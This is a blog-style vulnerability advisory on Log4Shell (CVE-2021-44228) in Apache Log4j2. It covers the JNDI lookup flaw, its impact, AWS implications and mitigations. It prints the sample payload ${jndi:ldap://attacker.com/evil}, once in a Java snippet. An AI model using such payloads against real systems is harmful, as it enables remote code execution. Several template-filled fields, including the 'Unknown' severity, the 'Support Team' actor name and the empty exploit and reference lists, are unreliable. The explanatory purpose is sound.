Blog post illustration

CVE-2021-44228 - Unknown - CWE-502 Deserialization of Untrusted Data

8 min read
security vulnerability CVE-2021-44228 cloud-security unknown actively-exploited cisa-kev

Placeholder: Security vulnerability in Apache Software Foundation

Executive Summary

CVE-2021-44228, also known as "Log4Shell," is a critical vulnerability affecting the widely used Apache Log4j2 library. This vulnerability allows for remote code execution (RCE) by exploiting the JNDI (Java Naming and Directory Interface) features within Log4j2. Specifically, if an attacker can control log messages or their parameters, they can inject malicious code that is then executed by the server. This poses a significant risk to any application using vulnerable versions of Log4j2, potentially leading to complete system compromise. The severity is currently unknown, but the impact potential is significant. It is crucial to update to a patched version of Log4j2 immediately or implement available mitigations.

Vulnerability Snapshot

Attribute Value
CVE ID CVE-2021-44228
Common Name Log4Shell
Affected Software Apache Software Foundation
Affected Versions Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1)
CVSS v3.x Base Score Unknown
CVSS Vector String Unknown
Severity Rating Unknown
Key CWE ID CWE-502 Deserialization of Untrusted Data
CISA KEV Status Yes - Added 2021-12-10
Exploitation Observed Public exploits available, see details in the POC section
Associated Threat Actors Support Team, apt
Cloud Provider Impact Limited direct relevance to cloud service providers, but should be monitored as part of general security practices.
Patch Availability Update to the latest version of the affected software. CISA has added this vulnerability to the Known Exploited Vulnerabilities (KEV) catalog, which requires federal agencies to remediate. Specific patches and workarounds may be available in vendor advisories.

Placeholder: Log4Shell Vulnerability Overview

Technical Deep Dive

The root cause of CVE-2021-44228 lies in Log4j2's handling of JNDI lookups within log messages. Log4j2 supports a feature called "message lookup substitution," which allows developers to embed variables in log messages that are resolved at runtime. For example, a log message might contain ${java:version} to dynamically log the Java version.

The vulnerability arises when this lookup mechanism is used with JNDI. JNDI allows Java applications to look up data and objects from various naming and directory services, such as LDAP (Lightweight Directory Access Protocol) and RMI (Remote Method Invocation). An attacker can craft a malicious log message containing a JNDI lookup that points to an attacker-controlled server. When Log4j2 processes this message, it attempts to connect to the attacker's server via JNDI.

The attacker's server can then respond with a malicious Java class. Log4j2, by default in vulnerable versions, will then download and execute this class, leading to remote code execution.

Here's a simplified illustration of how the attack works:

  1. Attacker sends a malicious request: The attacker sends a request to a server that uses Log4j2. The request contains a specially crafted string, such as ${jndi:ldap://attacker.com/evil}. This string might be sent in an HTTP header, a form field, or any other input that gets logged by Log4j2.

  2. Log4j2 logs the malicious string: The Log4j2 library processes the request and logs the string.

  3. JNDI lookup: Log4j2 interprets ${jndi:ldap://attacker.com/evil} as a JNDI lookup. It attempts to connect to the LDAP server at attacker.com.

  4. Attacker's LDAP server responds: The attacker's LDAP server responds with a reference to a Java class file hosted on a web server also controlled by the attacker.

  5. Log4j2 downloads and executes the malicious class: Log4j2 downloads the Java class file and executes it, giving the attacker complete control of the server.

// Example of a vulnerable log message
String maliciousInput = "${jndi:ldap://attacker.com/evil}";
logger.error("User input: " + maliciousInput);

In this example, if logger is an instance of a vulnerable Log4j2 logger, the maliciousInput will trigger the JNDI lookup and potentially lead to RCE.

The vulnerability exists because Log4j2, prior to the patched versions, did not adequately sanitize or restrict the JNDI lookups. It trusted the data being retrieved from the JNDI server, allowing for the execution of arbitrary code.

Placeholder: JNDI Lookup Process

Proof-of-Concept (POC) Insights

Public exploits are readily available for CVE-2021-44228. A search on Exploit-DB reveals potential exploits:

The availability of these POCs, combined with its inclusion in the CISA KEV catalog, indicates that CVE-2021-44228 is actively being exploited in the wild. This means that organizations that have not patched their systems are at immediate risk.

Warning: POC code is intended for educational and research purposes only. Executing POC code can cause harm and may be illegal. Use extreme caution.

Threat Actor Activity

Based on 50 intelligence reports from AlienVault OTX, this vulnerability has been linked to various threat actors, including "Support Team" and APT (Advanced Persistent Threat) groups. This suggests a wide range of actors, from opportunistic attackers to sophisticated nation-state sponsored groups, are actively leveraging this vulnerability. The broad adoption of Log4j2 makes it an attractive target for attackers seeking to gain widespread access to vulnerable systems. Given the vulnerability's ease of exploitation and widespread impact, it is likely to remain a popular target for various threat actors for the foreseeable future.

Impact Assessment

The potential impact of CVE-2021-44228 is significant due to the likelihood of remote code execution. Exploitation can lead to:

  • Confidentiality: Attackers can gain access to sensitive data, including user credentials, financial information, and intellectual property.
  • Integrity: Attackers can modify system files, databases, and application code, leading to data corruption and system instability.
  • Availability: Attackers can disrupt services by crashing systems, launching denial-of-service attacks, or holding systems ransom.

Since the CVSS score is unknown, but CISA has added this vulnerability to the KEV catalog, a significant impact is expected.

For AWS PaaS environments, while there may be no direct AWS impact identified, it's crucial to adhere to standard cloud security practices. This includes regularly patching systems, implementing strong access controls, and monitoring for suspicious activity. This vulnerability could allow attackers to gain a foothold in AWS-hosted applications and potentially pivot to other resources within the cloud environment.

Cloud Service Provider Implications

While there's limited direct relevance to cloud service providers, it remains a critical concern that should be monitored. The vulnerability can affect applications deployed on AWS-hosted PaaS solutions if those applications leverage vulnerable versions of Log4j2.

  • AWS-hosted applications and services: Applications using Log4j2 are vulnerable. The extent of impact depends on whether user-controlled input is logged by Log4j2.
  • AWS-managed services vs. customer-managed components: The vulnerability primarily affects customer-managed components, specifically applications and services they deploy that use Log4j2. AWS takes responsibility for the security of its own services.
  • Blast radius in multi-tenant environments: In multi-tenant environments, a successful exploit could potentially allow an attacker to access or disrupt other tenants, depending on the isolation mechanisms in place.
  • Data residency or compliance implications: A successful exploit could lead to data breaches, potentially violating data residency requirements and compliance regulations.
  • Security control bypass considerations: The vulnerability can bypass certain security controls if those controls do not adequately inspect or sanitize log messages.

Mitigation and Remediation

The primary mitigation for CVE-2021-44228 is to update to the latest version of Log4j2. Specifically, upgrade to version 2.17.1 or later. This version completely removes the vulnerable JNDI lookup functionality.

If upgrading is not immediately feasible, consider the following workarounds:

  • For versions >=2.10: Set the system property log4j2.formatMsgNoLookups to true. This disables message lookup substitution altogether.
  • Remove the JndiLookup class: Remove the JndiLookup.class from the classpath. This can be done by deleting the class file from the log4j-core*.jar file.

It's essential to prioritize patching and ensure that all affected systems are remediated as quickly as possible. CISA has added this vulnerability to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to remediate it promptly.

Cloud-specific mitigations include:

  • AWS Security Groups: Use security groups to restrict network access to vulnerable systems.
  • AWS WAF: Implement WAF rules to detect and block malicious JNDI lookup strings in HTTP requests.
  • CloudTrail and CloudWatch: Use CloudTrail and CloudWatch to monitor for suspicious activity related to JNDI lookups.

Placeholder: Mitigation Strategies for Log4Shell

References

Conclusion

CVE-2021-44228 (Log4Shell) is a critical vulnerability that demands immediate attention. Its ease of exploitation, widespread impact, and active exploitation in the wild make it a significant threat to organizations of all sizes. By understanding the vulnerability's mechanism, impact, and available mitigations, organizations can take proactive steps to protect their systems and data.

For organizations using cloud service providers, particularly those with workloads on AWS PaaS offerings, it is crucial to ensure that all applications and services are patched and that appropriate security controls are in place. Regular security assessments and proactive monitoring are essential to detect and respond to potential threats. Stay informed about the latest security advisories and best practices to maintain a strong security posture in the ever-evolving threat landscape.

Author

William Zujkowski

Personal website and technology blog